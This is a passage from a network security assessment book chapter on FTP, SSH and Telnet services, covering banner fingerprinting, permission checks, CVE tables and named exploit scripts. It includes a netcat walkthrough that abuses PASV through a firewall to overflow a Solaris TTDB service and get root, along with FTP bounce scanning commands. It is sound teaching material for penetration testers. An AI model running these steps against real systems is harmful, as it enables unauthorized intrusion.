<tr>
<td>FreeBSD 4.x and later</td>
<td>220 hostname FTP server (Version 6.00LS) ready</td>
</tr>
<tr>
<td>FreeBSD 3.x</td>
<td>220 hostname FTP server (Version 6.00) ready</td>
</tr>
<tr>
<td>NetBSD 1.6.x</td>
<td>220 hostname FTP server (NetBSD-ftpd 20020615) ready</td>
</tr>
<tr>
<td>NetBSD 1.5.x</td>
<td>220 hostname FTP server (NetBSD-ftpd 20010329) ready</td>
</tr>
</tbody>
</table>
Linux and BSD-derived systems (including Mac OS X) are often found running other FTP implementations, including WU-FTPD, ProFTPD, NcFTPd, vsftpd, and Pure-FTPd. Table 8-2 lists FTP banners for these implementations.

Table 8-2. Other FTP implementation banners

<table>
<thead>
<tr>
<th>FTP implementation</th>
<th>FTP banner</th>
</tr>
</thead>
<tbody>
<tr>
<td>VsFTPd 2.0.4</td>
<td>220 (vsFTPd 2.0.4)</td>
</tr>
<tr>
<td>Pure-FTPd</td>
<td>220 -------- Welcome to Pure-FTPd --------</td>
</tr>
<tr>
<td>ProFTPD 1.2.4</td>
<td>220 ProFTPD 1.2.4 Server (hostname) [hostname]</td>
</tr>
<tr>
<td>NcFTPd</td>
<td>220 hostname NcFTPd Server (licensed copy) ready</td>
</tr>
</tbody>
</table>

Assessing FTP Permissions

Upon gaining access to the FTP service, you should assess exactly what kind of access you have to the accessible directory structure. To work correctly, many FTP exploits require that an attacker be able to create files and directories. Example 8-2 shows an anonymous FTP session and the file permissions returned.

Example 8-2. Connecting to a Solaris 2.5.1 FTP server

$ ftp 192.168.189.10
Connected to 192.168.189.10.
220 hyperon FTP server (UNIX(r) System V Release 4.0) ready.
Name (hyperon.widgets.com:root): ftp
331 Guest login ok, send ident as password.
Password: hello@world.com
230 Guest login ok, access restrictions apply.
Here I have no write access to the server and can’t read anything under /etc or traverse into that directory. The welcome.msg file is accessible, but that’s about it.

Regardless of whether you’re logged into a Unix or Windows-based FTP server, the Unix-like permission structure is the same. Example 8-3 shows the permissions found on Microsoft’s public FTP server.

Example 8-3. Assessing permissions on ftp.microsoft.com

```
$ ftp ftp.microsoft.com
Connected to 207.46.133.140 (207.46.133.140).
220 Microsoft FTP Service
Name (ftp.microsoft.com:root): ftp
331 Anonymous access allowed, send identity (e-mail) as password.
Password: hello@world.com
230-This is FTP.Microsoft.Com.
230 Anonymous user logged in.
Remote system type is Windows_NT.
ftp> ls
227 Entering Passive Mode (207,46,133,140,53,125).
125 Data connection already open; Transfer starting.
dr-xr-xr-x  1 owner    group            0 Nov 25  2002 bussys
dr-xr-xr-x  1 owner    group            0 May 21  2001 deskapps
dr-xr-xr-x  1 owner    group            0 Apr 20  2001 developr
dr-xr-xr-x  1 owner    group            0 Nov 18  2002 KBHelp
dr-xr-xr-x  1 owner    group            0 Jul  2  2002 MISC
dr-xr-xr-x  1 owner    group            0 Dec 16  2002 MISC1
dr-xr-xr-x  1 owner    group            0 Feb 25  2000 peropsys
dr-xr-xr-x  1 owner    group            0 Jan  2  2001 Products
dr-xr-xr-x  1 owner    group            0 Apr  4 13:54 PSS
dr-xr-xr-x  1 owner    group            0 Sep 21  2000 ResKit
dr-xr-xr-x  1 owner    group            0 Feb 25  2000 Services
dr-xr-xr-x  1 owner    group            0 Feb 25  2000 Softlib
226 Transfer complete.
```

By reviewing the permissions of the Microsoft FTP service in Example 8-3, I find that I have no write access to the FTP server. The permission structure in its simplest sense is shown in Figure 8-1.
The first character defines the type of filesystem object being listed; directories are defined with a d, and symbolic links are defined with a l. The nine characters that follow the file descriptor character define the owner, group, and other permissions for that file or directory. In Example 8-3, the owner has full read, write, and execute access, and group and other users have only read and execute access.

UUNet runs an FTP server that allows users to upload files to a temporary directory, shown in Example 8-4.

Example 8-4. The UUNet FTP server allows uploads to /tmp

```
$ ftp ftp.uu.net
Connected to ftp.uu.net (192.48.96.9).
220 FTP server ready.
Name (ftp.uu.net:root): ftp
331 Guest login ok, send your complete e-mail address as password.
Password: hello@world.com
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
227 Entering Passive Mode (192,48,96,9,225,134)
150 Opening ASCII mode data connection for /bin/ls.
total 199770
d--xr-xr-x   6 1            512 Jun 28  2001 etc
d--xr-xr-x   3 1            512 Sep 18  2001 home
dwrxr-xr-x  20 21          1024 Jun 29  2001 index
dwrxr-xr-x   2 1            512 Jun 29  2001 inet
dwrxr-xr-x   5 1            512 Apr 10 14:28 info
d--x--s--x  44 1           1024 Apr 16 19:41 private
dwrxr-xr-x   5 1            1024 Mar  8 02:41 pub
dwrxrwruwt  35 21          1536 May 18 10:30 tmp
d--x--s--x   3 1            512 Jun 28  2001 usr
-tw-r--r--  1 21          8520221 Jun 29  2001 uumap.tar.Z
dwrxr-xr-x   2 1            2048 Jun 29  2001 vendor
226 Transfer complete.
```

Because I am logged in anonymously, I am interested in the last three characters of the permission information returned (drwxrwxrwt in total, with rwt relating to me). The r and w permissions mean that I have standard read and write access to the /tmp directory, and the t bit (known as the sticky bit) ensures that files can’t be deleted or renamed after being created in the directory.
FTP Brute-Force Password Guessing

THC Hydra is a fast Unix-based brute-force utility for FTP, POP-3, IMAP, HTTP, LDAP, and many other services; Brutus is a similar Windows tool. These tools are available from the following locations:

http://www.thc.org/releases.php
http://www.hoobie.net/brutus/brutus-download.html

FTP Bounce Attacks

As outlined in Chapter 4, FTP services bundled with the following outdated operating platforms are vulnerable to bounce attacks in which port scans or malformed data can be sent to arbitrary locations via FTP:

- FreeBSD 2.1.7 and earlier
- HP-UX 10.10 and earlier
- Solaris 2.6 and earlier
- SunOS 4.1.4 and earlier
- SCO OpenServer 5.0.4 and earlier
- SCO UnixWare 2.1 and earlier
- IBM AIX 4.3 and earlier
- Caldera Linux 1.2 and earlier
- Red Hat Linux 4.2 and earlier
- Slackware 3.3 and earlier
- Any Linux distribution running WU-FTPD 2.4.2-BETA-16 or earlier

If you know that an FTP service is running on an internal network and is accessible through NAT, bounce attacks can be used to probe and attack other internal hosts and even the server running the FTP service itself.

FTP bounce port scanning

You can use Nmap to perform an FTP bounce port scan, using the -P0 and -b flags in the following manner:

nmap -P0 -b username:password@ftp-server:port <target host>

Example 8-5 shows an FTP bounce port scan being launched through the Internet-based 142.51.17.230 to scan an internal host at 192.168.0.5, a known address previously enumerated through DNS querying.
When performing any type of bounce port scan with Nmap, you should specify the `--pipe` option, as the host will be inaccessible in some cases. More importantly, it prevents probe packets from being sent from your host to the target network that reveals the true source of the scan.

**FTP bounce exploit payload delivery**

If you can upload a binary file containing a crafted buffer overflow string to an FTP server that in turn is vulnerable to a bounce attack, you can then send that information to a specific service port. This concept is shown in Figure 8-2.

For this type of attack to be effective, an attacker needs to authenticate and log into the FTP server, locate a writable directory, and test to see if the server is susceptible to FTP bounce attacks. Solaris 2.6 is an excellent example because in its default state it is vulnerable to FTP bounce and RPC service overflow attacks. Binary exploit data isn’t the only type of payload that can be bounced through a vulnerable FTP server: spammers have also sent unsolicited email messages this way.

Since 1995 when Hobbit released his first white paper on the issue of FTP abuse, a number of similar documents and approaches have been detailed. The CERT web site has a good description of the issue with background information, accessible at http://www.cert.org/tech_tips/ftp_port_attacks.html.
Circumventing Stateful Filters Using FTP

At Black Hat Briefings 2000 in Las Vegas, Thomas Lopatic et al. presented “A Stateful Inspection of Firewall-1” (available at http://www.blackhat.com/html/bh-usa-00/bh-usa-00-speakers.html), which documented a raft of security issues with Check Point Firewall-1 4.0 SP4. One area covered was abusing FTP access to a host through a stateful firewall in order to open ports and gain access to services that should otherwise be filtered.

FTP is a complex protocol used to transfer files that have two channels: the control channel (using TCP port 21) and the data channel (using TCP port 20). The **PORT** and **PASV** commands are issued across the control channel to determine which dynamic high ports (above 1024) are used to transfer and receive data.

**PORT and PASV**

The **PORT** command defines a dynamic high port from which the client system receives data. Most firewalls perform stateful inspection of FTP sessions, so the **PORT** command populates the state table.

Figure 8-3 shows a client system that connects to an FTP server through a firewall and issues a **PORT** command to receive data. A short explanation of the command follows.

The reason that port 1039 is opened is because the last two digits in the **PORT** command argument (4 and 15) are first converted to hexadecimal:

- 4 becomes 0x04
- 15 becomes 0x0F

The two values then concatenate to become 0x040F, and a tool such as the Base Converter application found in Hex Workshop (available from http://www.bpsoft.com) is used to find the decimal value, as shown in Figure 8-4.

Most modern commercial firewalls (with the exception of earlier Cisco PIX releases) enforce the rule that FTP holes punched through the firewall must be to ports above 1024. For example, if an attacker could send a crafted outbound **PORT** command as part of an established FTP session from the protected server (i.e., the FTP server in Figure 8-2), he could access services running on high ports, such as RPC services.
PASV abuse

Lopatic et al. built on the PORT abuse approach and came up with an attack involving abuse of the PASV command. This attack fools stateful firewalls (Check Point Firewall-1, Cisco PIX, etc.) into opening high ports on a protected FTP server, in turn allowing for direct exploitation via a crafted exploit payload that is delivered through the firewall to the open high port.

By advertising a small Maximum Transmission Unit (MTU) value, an attacker can abuse the PASV command and open ports on the target FTP server through a stateful firewall such as Check Point Firewall-1 or Cisco PIX.

In the following example (demonstrated at Black Hat 2000), John McDonald compromised an unpatched Solaris 2.6 server behind a Check Point Firewall-1 appliance filtering access to all ports except for FTP (TCP port 21).

McDonald crafted two exploit payloads (named killfile and hackfile) to overflow the TTDB service running on TCP port 32775 of the target host. For the exploit to be effective, the TTDB service must be forcefully restarted using killfile, then hackfile replaces the /usr/sbin/in.ftpd binary with /bin/sh. The following is a demonstration of this process.

First, set the MTU for the network card of the Linux launch system to 100:

```bash
$ /sbin/ifconfig eth0 mtu 100
```

Next, connect to the target FTP server (172.16.0.2) on port 21 using Netcat (a useful networking tool that is available from http://netcat.sourceforge.net), and issue a long string of characters followed by a crafted FTP server response:

```bash
$ nc -vvv 172.16.0.2 21
172.16.0.2: inverse host lookup failed:
(UNKNOWN) [172.16.0.2] 21 (?) open.
220 sol FTP server (SunOS 5.6) ready.
XXXXXXXXXXXXXXXXXXXXXX227 (172,16,0,2,128,7)
500 Invalid command given: XXXXXXXXXXXXXXXXXXXXX
[1]+ Stopped nc -vvv 172.16.0.2 21
```
Chapter 8: Assessing Remote Maintenance Services

The effect of setting the low MTU is detailed in Figure 8-5, resulting in the 227 (172.16.0.2,128,7) server response being processed by the firewall and added to the state table. You can now send data to TCP port 32775 on 172.16.0.2.

Now that the port is open, use Netcat to push the killfile binary data to port 32775 and restart the TTDB service:

```
$ cat killfile | nc -vvv 172.16.0.2 32775
```

```
172.16.0.2: inverse host lookup failed:
(UNKNOWN) [172.16.0.2] 32775 (?) open
sent 80, rcvd 0
```

Then repeat the process to reopen the port on the target server:

```
$ nc -vvv 172.16.0.2 21
```

```
172.16.0.2: inverse host lookup failed:
(UNKNOWN) [172.16.0.2] 21 (?) open
220 sol FTP server (SunOS 5.6) ready.
XXXXXXXXXXXXXXXXXXXXXXXXXX227 (172,16,0,2,128,7)
500 Invalid command given: XXXXXXXXXXXXXXXXXXXXX
[2]+ Stopped nc -vvv 172.16.0.2 21
```

Next, push the hackfile binary data, exploiting the TTDB service fully:

```
$ cat hackfile | nc -vvv 172.16.0.2 32775
```

```
172.16.0.2: inverse host lookup failed:
(UNKNOWN) [172.16.0.2] 32775 (?) open
sent 1168, rcvd 0
```

If the buffer overflow has been successful, the FTP server binary is replaced with /bin/sh, giving command-line root access to the host:

```
$ nc -vvv 172.16.0.2 21
```

```
172.16.0.2: inverse host lookup failed:
(UNKNOWN) [172.16.0.2] 21 (?) open
id
uid=0(root) gid=0(root)
```

FTP Process Manipulation Attacks

If an attacker can accurately identify the target FTP service and the operating platform and architecture of the target server, it is relatively straightforward to identify and launch process manipulation attacks to gain access to the server.
Most serious remote buffer overflows in FTP services are postauthentication issues; they require authenticated access to the FTP service and its underlying commands. Increasingly, write access is also required to create complex directory structures server-side that allow exploitation.

**Solaris and BSD FTP glob( ) issues**

A number of `glob()` function vulnerabilities were uncovered in 2001 that related to Solaris and BSD FTP implementations. These issues are discussed here with practical exploitation examples.

**Solaris glob( ) username grinding.** The following `glob()` bug is present in default Solaris installations up to Solaris 8. By issuing a series of CWD `~username` requests, an attacker can effectively enumerate valid user accounts without even logging into the FTP server. This issue is referenced in MITRE CVE as CVE-2001-0249. Username grinding using this bug is demonstrated in Example 8-6. In this example, the `blah` and `test` users don’t exist, but `chris` does.

**Example 8-6. Solaris 8 FTP username grinding**

```
$ telnet 192.168.0.12 21
Trying 192.168.0.12...
Connected to 192.168.0.12.
Escape character is '^]'.
220 lackie FTP server (SunOS 5.8) ready.
CWD ~blah
530 Please login with USER and PASS.
550 Unknown user name after ~
CWD ~test
530 Please login with USER and PASS.
550 Unknown user name after ~
CWD ~chris
530 Please login with USER and PASS.
QUIT
221 Goodbye.
```

**Other Solaris glob( ) issues.** A similar postauthentication `glob()` bug can be exploited, which results in a heap overflow and core dump that can be abused by local users to reveal sensitive system and environment data. This heap overflow issue is referenced within MITRE CVE as CVE-2001-0421.

No public preauthentication exploits have been released to compromise Solaris hosts by abusing `glob()` issues. Theoretically, the service can be exploited under Solaris if write access to the filesystem is permitted through FTP (see CVE-2001-0249), although this may be difficult to exploit.

Neither CORE IMPACT, Immunity CANVAS, nor the Metasploit Framework (MSF) has support for these Solaris FTP `glob()` issues (CVE-2001-0249 and CVE-2001-0421) at the time of this writing.
**BSD glob() vulnerabilities.** The FTP `glob()` function used under BSD-derived systems (NetBSD, OpenBSD, and FreeBSD) is also susceptible to attack, due to the way heap memory is managed, as described in CVE-2001-0247. An exploit script for this issue is available at [http://examples.oreilly.com/networksa/tools/turkey3.tar.gz](http://examples.oreilly.com/networksa/tools/turkey3.tar.gz). CORE IMPACT also supports this bug, but Immunity CANVAS does not at the time of this writing.

**WU-FTPD vulnerabilities**

WU-FTPD is a popular and easy-to-manage FTP service that many system administrators run across multiple Unix-like platforms (primarily Linux). Table 8-3 lists remotely exploitable WU-FTPD vulnerabilities with corresponding MITRE CVE references.

**Table 8-3. Remotely exploitable WU-FTPD vulnerabilities**

<table>
<thead>
<tr>
<th>CVE reference</th>
<th>Date</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2004-0185</td>
<td>26/10/2003</td>
<td>WU-FTPD 2.6.2 S/KEY stack overflow</td>
</tr>
<tr>
<td>CVE-2003-0466</td>
<td>31/07/2003</td>
<td>WU-FTPD 2.6.2 <code>realpath()</code> off-by-one bug</td>
</tr>
<tr>
<td>CVE-2001-0550</td>
<td>27/11/2001</td>
<td>WU-FTPD 2.6.1 <code>glob()</code> heap overflow</td>
</tr>
<tr>
<td>CVE-2001-0187</td>
<td>23/01/2001</td>
<td>WU-FTPD 2.6.1 PASV command format string bug</td>
</tr>
<tr>
<td>CVE-2000-0573</td>
<td>22/06/2000</td>
<td>WU-FTPD 2.6.0 SITE EXEC command format string bug</td>
</tr>
<tr>
<td>CVE-1999-0878</td>
<td>26/08/1999</td>
<td>WU-FTPD 2.5.0 <code>CWD</code> command stack overflow</td>
</tr>
<tr>
<td>CVE-1999-0368</td>
<td>09/02/1999</td>
<td>WU-FTPD 2.4.2 BETA 18 <code>DELE</code> command stack overflow</td>
</tr>
</tbody>
</table>

The majority of these issues are exploited postauthentication, requiring access to commands such as `CWD` and `DELE` upon logging in. They also sometimes require writable filesystem access from the FTP account in use to create file and directory structures.

**WU-FTPD exploit scripts.** The following public exploit scripts are available for a number of these vulnerabilities in the accompanying tools archive for this book, at [http://examples.oreilly.com/networksa/tools](http://examples.oreilly.com/networksa/tools). These exploit scripts are detailed in Table 8-4.

**Table 8-4. Publicly available WU-FTPD exploit scripts**

<table>
<thead>
<tr>
<th>CVE reference</th>
<th>WU-FTPD version</th>
<th>Target platform(s)</th>
<th>Exploit script</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2003-0466</td>
<td>2.5.0–2.6.2</td>
<td>Linux</td>
<td><code>0x82-wu262.c</code></td>
</tr>
<tr>
<td>CVE-2001-0550</td>
<td>2.6.1</td>
<td>Linux</td>
<td><code>7350wurm.c</code></td>
</tr>
<tr>
<td>CVE-2000-0573</td>
<td>2.5.0–2.6.0</td>
<td>Linux and FreeBSD</td>
<td><code>wuftp-god.c</code></td>
</tr>
<tr>
<td>CVE-1999-0878</td>
<td>2.5.0 and prior</td>
<td>Linux</td>
<td><code>ifaofafafafafafafaf.c</code></td>
</tr>
<tr>
<td>CVE-1999-0368</td>
<td>2.4.2 and prior</td>
<td>Linux</td>
<td><code>w00f.c</code></td>
</tr>
</tbody>
</table>
MSF has an exploit module for CVE-2000-0573 (SITE EXEC command format string bug), but not for these other vulnerabilities at the time of this writing. For the full list of exploit modules that MSF supports in its stable branch, see http://framework.metasploit.com/exploits/list.

In terms of commercial exploitation frameworks, CORE IMPACT supports CVE-2000-0573 and CVE-2001-0550 (glob() heap overflow), and Immunity CANVAS only supports CVE-2000-0573 at the time of this writing.

**ProFTPD vulnerabilities**

ProFTPD is similar to WU-FTPD in that it can be run from multiple operating platforms. I often see ProFTPD running on FreeBSD and Slackware Linux in the wild. Table 8-5 lists serious remotely exploitable issues in ProFTPD as listed in MITRE CVE.

<table>
<thead>
<tr>
<th>CVE reference</th>
<th>Date</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2006-6170</td>
<td>28/11/2006</td>
<td>ProFTPD 1.3.0a mod_tls overflow</td>
</tr>
<tr>
<td>CVE-2006-5815</td>
<td>06/11/2006</td>
<td>ProFTPD 1.3.0 sreplace() off-by-one bug</td>
</tr>
<tr>
<td>CVE-2005-4816</td>
<td>21/06/2005</td>
<td>ProFTPD 1.3.0rc1 mod_radius long password overflow</td>
</tr>
<tr>
<td>CVE-2004-1602</td>
<td>15/10/2004</td>
<td>ProFTPD 1.2.10 timing attack results in user enumeration</td>
</tr>
<tr>
<td>CVE-2004-0346</td>
<td>04/03/2004</td>
<td>ProFTPD 1.2.7 to 1.2.9rc2 RETR command overflow</td>
</tr>
<tr>
<td>CVE-2003-0831</td>
<td>23/09/2003</td>
<td>ProFTPD 1.2.7 to 1.2.9rc2 ASCII transfer mode newline character overflow</td>
</tr>
<tr>
<td>CVE-2000-0574</td>
<td>06/07/2000</td>
<td>ProFTPD 1.2.0rc1 contains multiple format string vulnerabilities that can be exploited remotely</td>
</tr>
<tr>
<td>CVE-1999-0911</td>
<td>27/08/1999</td>
<td>ProFTPD 1.2.0pre5 MKD and CWD nested directory stack overflow</td>
</tr>
</tbody>
</table>

**ProFTPD exploit scripts.** The following public exploit scripts are available for a number of these vulnerabilities in the accompanying tools archive for this book, at http://examples.oreilly.com/networksa/tools. These exploit scripts are detailed in Table 8-6.

<table>
<thead>
<tr>
<th>CVE reference</th>
<th>ProFTPD version</th>
<th>Target platform(s)</th>
<th>Exploit script</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2003-0831</td>
<td>1.2.7 to 1.2.9rc2</td>
<td>23/09/2003</td>
<td>proftpd00t.c</td>
</tr>
<tr>
<td>CVE-1999-0911</td>
<td>1.2.0pre5</td>
<td>27/08/1999</td>
<td>pro.tar.gz, proftpd.c, and proftpX.c</td>
</tr>
</tbody>
</table>

MSF has no exploit modules for ProFTPD at the time of writing. CORE IMPACT supports CVE-2006-5815 (srep1ace() off-by-one bug) and CVE-2004-0346 (RETR command overflow). Immunity CANVAS does not support any ProFTPD issues at this time.
Microsoft IIS FTP server

At the time of writing, the only serious vulnerabilities that threaten Microsoft IIS FTP services are denial-of-service issues, usually exploitable through an authenticated FTP session. Two remotely exploitable security issues in the IIS 4.0 and 5.0 FTP services are listed within MITRE CVE as CVE-2001-0335 and CVE-1999-0777; both are medium-risk issues relating to information leakage from the service.

A common oversight is for system administrators to set up Internet-based IIS FTP servers and leave anonymous guest access to the server enabled. I have seen such open servers used as public storage and distribution centers for pirated software and other material.

Known vulnerabilities in other popular third-party FTP services

Table 8-7 lists known remotely exploitable and significant issues in other third-party FTP server packages. Exploitation frameworks, including MSF and CORE IMPACT, support a number of these issues.

Table 8-7. Other remotely exploitable bugs in third-party FTP services

<table>
<thead>
<tr>
<th>CVE reference(s)</th>
<th>Date</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2006-5000</td>
<td>26/09/2006</td>
<td>WS_FTP Server 5.05 checksum command parsing overflow</td>
</tr>
<tr>
<td>CVE-2006-2407</td>
<td>12/05/2006</td>
<td>FreeFTPd 1.0.10 key exchange algorithm buffer overflow</td>
</tr>
<tr>
<td>CVE-2005-3684 and CVE-2005-3683</td>
<td>18/11/2005</td>
<td>Various FreeFTPd 1.0.8 command overflows</td>
</tr>
<tr>
<td>CVE-2004-2111</td>
<td>24/01/2004</td>
<td>Serv-U FTP 4.1.0.11 SITE CHMOD command stack overflow</td>
</tr>
<tr>
<td>CVE-2004-2532</td>
<td>08/08/2004</td>
<td>Serv-U FTP default local administrative account</td>
</tr>
<tr>
<td>CVE-2004-1135</td>
<td>29/11/2004</td>
<td>WS_FTP Server 5.03 MKD command overflow</td>
</tr>
<tr>
<td>CVE-2004-0330</td>
<td>26/02/2004</td>
<td>Serv-U FTP 5.0.0.3 MKDS command overflow</td>
</tr>
<tr>
<td>CVE-2004-0042</td>
<td>07/01/2004</td>
<td>vsFTPd 1.1.3 username enumeration bug</td>
</tr>
<tr>
<td>CVE-2001-0054</td>
<td>05/12/2000</td>
<td>Serv-U FTP 2.5h directory traversal attack</td>
</tr>
</tbody>
</table>

SSH

Secure Shell (SSH) services provide encrypted access to Unix and Windows systems, allowing command-line shell access, file access (using Secure Copy (SCP) and Secure FTP (SFTP) subsystems), and simple VPN services (using SSH port forwarding). Weaknesses in plaintext services such as Telnet were often abused by attackers to compromise networks, so SSH was developed to provide encrypted access to servers for maintenance purposes.

Before 1999, the only SSH servers available were for commercial use and were provided by SSH Communications (http://www.ssh.com) and F-Secure (http://www.f-secure.com). In late 1999, the OpenBSD team worked to provide SSH
support in version 2.6 of their operating system, and OpenSSH 1.2.2 was born. Commercial versions provided by SSH Communications and F-Secure remain supported and are sold, but OpenSSH has proved to be extremely popular and is now included with most Linux distributions.

Due to its cryptographic nature, an SSH client is required to connect to and authenticate with SSH. The free OpenSSH package can be downloaded from http://www.openssh.com. For Windows users, PuTTY is a free tool with a host of other SSH utilities (including PSCP, PSFTP, and Plink), available from http://www.chiark.greenend.org.uk/~sgtatham/putty/.

**SSH Fingerprinting**

To correctly ascertain vulnerabilities that may be present in the target SSH service, first perform banner grabbing by using Telnet or Netcat to connect to the SSH service. Example 8-7 shows that upon connecting to the target host, it is found to be running OpenSSH 3.5p1 using the SSH 2.0 protocol.

*Example 8-7. Grabbing the SSH service banner using Telnet*

```
$ telnet 192.168.0.80 22
Trying 192.168.0.80...
Connected to 192.168.0.80.
Escape character is '^]'.
SSH-2.0-OpenSSH_3.5p1
```

Security-conscious administrators will often modify the SSH banner to present false information. Example 8-8 shows this: the SSH service supports the SSH 2.0 protocol, but the actual type and version of the service itself is unknown (it’s set to 0.0.0).

*Example 8-8. Grabbing a modified SSH service banner*

```
$ telnet 192.168.189.2 22
Trying 192.168.189.2...
Connected to 192.168.189.2.
Escape character is '^]'.
SSH-2.0-0.0.0
```

Table 8-8 shows a list of common SSH service banners and their respective vendor implementations.

*Table 8-8. SSH banners and respective implementations*

<table>
<thead>
<tr>
<th>SSH implementation</th>
<th>FTP banner</th>
</tr>
</thead>
<tbody>
<tr>
<td>Cisco IOS</td>
<td>SSH-1.5-Cisco-1.25</td>
</tr>
<tr>
<td>OpenSSH</td>
<td>SSH-2.0-OpenSSH_3.8.1p1</td>
</tr>
<tr>
<td>SSH communications (commercial)</td>
<td>SSH-1.99-2.2.0</td>
</tr>
<tr>
<td>F-Secure SSH (commercial)</td>
<td>SSH-1.5-1.3.6_F-SECURE_SSH</td>
</tr>
</tbody>
</table>
SSH protocol support

If SSH-1.99 is reported by the SSH service, both SSH 1.5 and 2.0 protocols are supported. Some SSH clients, such as PuTTY, didn’t previously support SSH 2.0, and many administrators accordingly ran their services to be backward-compatible.

SSH Brute-Force Password Grinding

By its very design, SSH is a protocol that is resilient to brute-force attacks. The service first accepts the username and then allows for three passwords to be provided. If the user fails to provide the correct username and password combination, the unauthorized access attempt is written to the system log.

Sebastian Krahmer wrote a multithreaded SSH2 brute-force tool called guess-who. The utility allows for up to 30 attempts per second on internal networks, so mileage varies across the Internet depending on server configuration and connection speed. The tool compiles cleanly in Unix environments; you can find it at http://packetstormsecurity.org/groups/teso/guess-who-0.44.tgz.

An expect script available from http://examples.oreilly.com/networksa/tools/55hb.txt is a simple way to perform brute-force attacks against both SSH1 and SSH2 services. The 55hb script simply parses usernames and passwords to the Unix SSH client binary.

SSH Vulnerabilities

The presence of process manipulation vulnerabilities within SSH services depends on three factors:

- The SSH server and version (OpenSSH, Cisco SSH, or commercial SSH variants)
- SSH protocol support (1.0, 1.5, 1.99, or 2.0)
- Authentication mechanisms in use (PAM, S/KEY, BSD_AUTH, or others)

Knowing the SSH service type, version, and which protocols are supported, you can check vulnerability databases and sites, including MITRE CVE, ISS X-Force, SecurityFocus, and Packet Storm, to ascertain whether the services at hand are vulnerable to attack. Table 8-9 lists remotely exploitable SSH vulnerabilities with corresponding MITRE CVE references.

<table>
<thead>
<tr>
<th>CVE reference(s)</th>
<th>Date</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2007-2243</td>
<td>21/04/2007</td>
<td>OpenSSH 4.6 S/KEY username enumeration bug</td>
</tr>
<tr>
<td>CVE-2007-0844</td>
<td>08/02/2007</td>
<td>pam_ssh 1.91 authentication bypass</td>
</tr>
<tr>
<td>CVE-2006-2421</td>
<td>16/05/2006</td>
<td>FortressSSH 4.0.7.20 SSH_MSG_KEXINIT stack overflow</td>
</tr>
<tr>
<td>CVE-2006-2407</td>
<td>12/05/2006</td>
<td>FreeSSHd 1.0.9 key exchange overflow</td>
</tr>
<tr>
<td>CVE-2003-0787</td>
<td>23/09/2003</td>
<td>OpenSSH 3.7.1p1 PAM conversion overflow</td>
</tr>
<tr>
<td>CVE-2003-0786</td>
<td>23/09/2003</td>
<td>OpenSSH 3.7.1p1 PAM authentication failure</td>
</tr>
</tbody>
</table>
The following public exploit scripts are available for a number of these vulnerabilities in the accompanying tools archive for this book, at http://examples.oreilly.com/networksa/tools/. These exploit scripts are detailed in Table 8-10.

Table 8-10. Publicly available SSH exploit scripts

<table>
<thead>
<tr>
<th>CVE reference(s)</th>
<th>SSH implementation</th>
<th>Target platform</th>
<th>Exploit script(s)</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2003-0190</td>
<td>OpenSSH 3.6.1p1</td>
<td>N/A</td>
<td>ssh_brute.tgz</td>
</tr>
<tr>
<td>CVE-2002-0639</td>
<td>OpenSSH 2.9.9–3.3</td>
<td>OpenBSD</td>
<td>sshutup-theo.tar.gz</td>
</tr>
<tr>
<td>CVE-2001-0144</td>
<td>OpenSSH 2.2.0p1</td>
<td>Linux</td>
<td>cm-ssh.tgz and x2src.tgz</td>
</tr>
</tbody>
</table>

MSF has an exploit module for CVE-2006-2407 (FreeSSHd 1.0.9 key exchange overflow), but not for these other vulnerabilities at the time of this writing. For the full list of exploit modules that MSF supports in its stable branch, see http://framework.metasploit.com/exploits/list.

CORE IMPACT supports CVE-2003-0786, CVE-2002-0639, and CVE-2002-0083 (various OpenSSH vulnerabilities). Immunity CANVAS does not support any of these issues at the time of this writing.

Telnet

Telnet is a plaintext remote management service that provides command-line shell access to multiple server operating systems including Unix and Windows, and to devices such as Cisco routers and managed switches.

From a security perspective, the Telnet protocol is weak because all data (including authentication details) is transmitted in plaintext and can be sniffed by determined attackers. Once authenticated users are connected through Telnet, their sessions can also be hijacked and commands injected to the underlying operating system by attackers with access to the same network segment.
Telnet Service Fingerprinting

From a remote Internet-based perspective, you can use automated software, such as TelnetFP, to fingerprint Telnet services. A second approach is to manually grab the service banner and compare it with a known list of responses. I discuss these two approaches with practical examples.

TelnetFP

You can use TelnetFP to accurately fingerprint the Telnet services of Windows, Solaris, Linux, BSD, SCO, Cisco, Bay Networks, and other operating platforms, based on low-level responses. The tool even has a scoring system to guess the service if an exact match isn’t seen. TelnetFP can be downloaded from http://packetstormsecurity.org/groups/teso/telnetfp_0.1.2.tar.gz.

After downloading and compiling TelnetFP, you can run it as follows:

```
$ ./telnetfp
```

```
telnetfp0.1.2 by palmers / teso
Usage: ./telnetfp [-v -d <file>] <host>
-v: turn off verbose output
-t <x>: set timeout for connect attempts
-d <file>: define fingerprints file
-i (b|a): interactive mode. read either b)inary or a)scii
```

The following is a good live example from a recent penetration test I undertook against a series of branch offices for a client (the host at 10.0.0.5 closes the connection immediately with a logon failed response):

```
$ telnet 10.0.0.5
Trying 10.0.0.5...
Connected to 10.0.0.5.
Escape character is '^]'.
logon failed.
Connection closed by foreign host.
```

Using TelnetFP, it’s possible to identify the Telnet service as that of a Multi-Tech Systems Firewall:

```
$ ./telnetfp 10.0.0.5
telnetfp0.1.2 by palmers / teso
DO: 255 251 3
DONT: 255 251 1
Found matching fingerprint: Multi-Tech Systems Firewall Version 3.00
```

Example 8-9 shows TelnetFP being run against a Linux host and a Cisco IOS router. Note that the tool doesn’t get an exact match for the Cisco device, but makes an educated guess.
You can use the Telnet client to connect directly to an accessible Telnet service and fingerprint it based on the banner. The following Cisco Telnet service at 10.0.0.249 presents a standard Cisco IOS banner and password prompt:

```
$ telnet 10.0.0.249
Trying 10.0.0.249...
Connected to 10.0.0.249.
Escape character is '^]'.

User Access Verification
Password:
```

I have assembled a common Telnet banner list in Table 8-11 to help you accurately identify services and the underlying operating platforms.

Table 8-11. Common Telnet banner list

<table>
<thead>
<tr>
<th>Operating system</th>
<th>Telnet banner</th>
</tr>
</thead>
<tbody>
<tr>
<td>Solaris 9</td>
<td>Solaris 5.9</td>
</tr>
<tr>
<td>Solaris 8</td>
